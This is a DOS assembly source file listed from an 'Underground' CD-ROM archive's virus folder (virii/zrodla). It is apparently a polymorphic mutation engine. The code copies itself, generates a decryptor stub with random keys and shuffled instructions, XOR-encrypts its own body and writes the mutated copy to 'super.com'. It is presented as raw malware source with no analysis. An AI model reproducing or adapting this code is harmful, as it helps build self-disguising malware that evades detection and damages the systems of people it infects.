home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / modify.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.9 KB  |  220 lines

  1. code    segment
  2.  
  3.         assume  cs:code
  4.  
  5.         org     100h
  6.  
  7. prog:
  8.  
  9.         mov     cx,(offset last - offset main + 1) / 2
  10.  
  11.         mov     dx,0
  12.  
  13.         mov     si,offset main
  14.  
  15.         cmp     ax,0
  16.  
  17.         xor     cx,0
  18.  
  19.         nop
  20.  
  21.         xor     si,0
  22.  
  23.         nop
  24.  
  25. l103:   inc     ax
  26.  
  27. l102:   inc     bp
  28.  
  29. l101:   clc
  30.  
  31. l100:   xor     word ptr [si],dx
  32.  
  33.         inc     si
  34.  
  35.         inc     si
  36.  
  37.         dec     ax
  38.  
  39.         dec     bp
  40.  
  41.         loop    l100
  42.  
  43.  
  44.  
  45. main:
  46.  
  47.         call    make
  48.  
  49.         call    save
  50.  
  51.  
  52.  
  53.         mov     al,00h
  54.  
  55.         mov     ah,4ch
  56.  
  57.         int     21h
  58.  
  59.  
  60.  
  61. cdc     dw      0
  62.  
  63.  
  64.  
  65. make    proc    near
  66.  
  67.         call    copy
  68.  
  69.         mov     bx,offset dcdr
  70.  
  71.         call    ch1
  72.  
  73.         call    ch2
  74.  
  75.         mov     bp,bx
  76.  
  77.         mov     di,offset dcdd
  78.  
  79.         call    ch30
  80.  
  81.         call    copy1
  82.  
  83.         call    ch4
  84.  
  85.         ret
  86.  
  87. make    endp
  88.  
  89.  
  90.  
  91. save    proc    near
  92.  
  93.         mov     ah,3ch
  94.  
  95.         mov     dx,offset fn
  96.  
  97.         sub     cx,cx
  98.  
  99.         int     21h
  100.  
  101.         jc      ioerr
  102.  
  103.         mov     bx,ax
  104.  
  105.         mov     dx,offset prog
  106.  
  107.         mov     cx,offset last - offset prog
  108.  
  109.         mov     ax,es
  110.  
  111.         mov     ds,ax
  112.  
  113.         mov     ah,40h
  114.  
  115.         int     21h
  116.  
  117.         jc      ioerr
  118.  
  119.         mov     ah,3eh
  120.  
  121.         int     21h
  122.  
  123. ioerr:  ret
  124.  
  125. save    endp
  126.  
  127.  
  128.  
  129. copy1   proc    near
  130.  
  131.         mov     si,offset dcdr
  132.  
  133.         mov     di,offset prog
  134.  
  135.         mov     cx,offset dcdd - offset dcdr
  136.  
  137.         rep     movsb
  138.  
  139.         ret
  140.  
  141. copy1   endp
  142.  
  143.  
  144.  
  145. ch4     proc    near
  146.  
  147.         mov     ax,cdc
  148.  
  149.         mov     bx,offset main
  150.  
  151.         mov     cx,(offset last - offset main + 1) / 2
  152.  
  153.         push    es
  154.  
  155.         pop     ds
  156.  
  157. lch4:   xor     word ptr [bx],ax
  158.  
  159.         inc     bx
  160.  
  161.         inc     bx
  162.  
  163.         loop    lch4
  164.  
  165.         push    cs
  166.  
  167.         pop     ds
  168.  
  169.         ret
  170.  
  171. ch4     endp
  172.  
  173.  
  174.  
  175. ch30    proc    near
  176.  
  177.         sub     cx,cx
  178.  
  179.         mov     cl,byte ptr [di]
  180.  
  181.         inc     di
  182.  
  183. l30:    call    ch31
  184.  
  185.         add     di,3
  186.  
  187.         loop    l30
  188.  
  189.         ret
  190.  
  191. ch30    endp
  192.  
  193.  
  194.  
  195. ch31    proc    near
  196.  
  197.         push    cx
  198.  
  199.         mov     cx,8
  200.  
  201. l31:    call    rndm
  202.  
  203.         call    ch32
  204.  
  205.         loop    l31
  206.  
  207.         pop     cx
  208.  
  209.         ret
  210.  
  211. ch31    endp
  212.  
  213.  
  214.  
  215. ch32    proc    near
  216.  
  217.         sub     ax,ax
  218.  
  219.         mov     al,byte ptr [di]
  220.  
  221.         mov     si,bp
  222.  
  223.         add     si,ax
  224.  
  225.         mov     al,byte ptr [di+1]
  226.  
  227.         mov     bx,ax
  228.  
  229.         mov     al,byte ptr [di+2]
  230.  
  231.         call    ch33
  232.  
  233.         ret
  234.  
  235. ch32    endp
  236.  
  237.  
  238.  
  239. ch33    proc    near
  240.  
  241.         push    cx
  242.  
  243. lbeg:   rcr     dx,1
  244.  
  245.         jc      noch
  246.  
  247.         mov     cx,bx
  248.  
  249. lch:    mov     ah,byte ptr [si]
  250.  
  251.         xchg    ah,byte ptr [si+bx]
  252.  
  253.         mov     byte ptr [si],ah
  254.  
  255.         inc     si
  256.  
  257.         loop    lch
  258.  
  259.         jmp     short lend
  260.  
  261. noch:   add     si,bx
  262.  
  263. lend:   dec     al
  264.  
  265.         jnz     lbeg
  266.  
  267.         pop     cx
  268.  
  269.         ret
  270.  
  271. ch33    endp
  272.  
  273.  
  274.  
  275.  
  276.  
  277. ch2     proc    near
  278.  
  279.         rcr     dx,1
  280.  
  281.         jc      nobx
  282.  
  283.         inc     byte ptr [bx+03]
  284.  
  285.         add     byte ptr [bx+24],8
  286.  
  287. nobx:   rcr     dx,1
  288.  
  289.         jc      nodi
  290.  
  291.         inc     byte ptr [bx+06]
  292.  
  293.         inc     byte ptr [bx+17]
  294.  
  295.         inc     byte ptr [bx+24]
  296.  
  297.         inc     byte ptr [bx+25]
  298.  
  299.         inc     byte ptr [bx+26]
  300.  
  301. nodi:   ret
  302.  
  303. ch2     endp
  304.  
  305.  
  306.  
  307. ch1     proc    near
  308.  
  309.         call    irnd
  310.  
  311.         mov     word ptr [bx+04],dx
  312.  
  313.         mov     cdc,dx
  314.  
  315.         call    rndm
  316.  
  317.         mov     word ptr [bx+01],(offset last - offset main + 1) / 2
  318.  
  319.         xor     word ptr [bx+01],dx
  320.  
  321.         xor     word ptr [bx+14],dx
  322.  
  323.         call    rndm
  324.  
  325.         mov     word ptr [bx+07],offset main
  326.  
  327.         xor     word ptr [bx+07],dx
  328.  
  329.         xor     word ptr [bx+18],dx
  330.  
  331.         call    rndm
  332.  
  333.         mov     word ptr [bx+10],dx
  334.  
  335.         rcr     dx,1
  336.  
  337.         jc      no1
  338.  
  339.         inc     byte ptr [bx+30]
  340.  
  341. no1:    rcr     dx,1
  342.  
  343.         jc      no2
  344.  
  345.         inc     byte ptr [bx+30]
  346.  
  347.         inc     byte ptr [bx+30]
  348.  
  349. no2:    ret
  350.  
  351. ch1     endp
  352.  
  353.  
  354.  
  355. copy    proc    near
  356.  
  357.         mov     ax,cs
  358.  
  359.         add     ax,1000h
  360.  
  361.         mov     es,ax
  362.  
  363.         mov     si,offset prog
  364.  
  365.         mov     di,si
  366.  
  367.         mov     cx,offset last - offset prog
  368.  
  369.         rep     movsb
  370.  
  371.         ret
  372.  
  373. copy    endp
  374.  
  375.  
  376.  
  377. irnd    proc    near
  378.  
  379.         mov     ah,2ch
  380.  
  381.         int     21h
  382.  
  383.         add     dx,cx
  384.  
  385.         ret
  386.  
  387. irnd    endp
  388.  
  389.  
  390.  
  391. rndm    proc    near
  392.  
  393.         mov     ax,cs
  394.  
  395.         mul     dx
  396.  
  397.         add     dx,ax
  398.  
  399.         ret
  400.  
  401. rndm    endp
  402.  
  403.  
  404.  
  405. dcdr    db      0b9h,0aeh,0,0bah,10h,20h
  406.  
  407.         db      0beh,1fh,1,3dh,0,0
  408.  
  409.         db      81h,0f1h,0,0
  410.  
  411.         db      81h,0f6h,0,0
  412.  
  413.         db      40h,45h,0f8h
  414.  
  415.         db      31h,14h
  416.  
  417.         db      46h,46h,48h,4dh
  418.  
  419.         db      0e2h,0f5h
  420.  
  421.  
  422.  
  423. dcdd    db      4,0,3,3,12,4,1,20,1,2,25,1,3
  424.  
  425.  
  426.  
  427. fn      db      'super.com',0
  428.  
  429.  
  430.  
  431. last    label   byte
  432.  
  433. code    ends
  434.  
  435.         end     prog
  436.  
  437.  
  438.  
  439.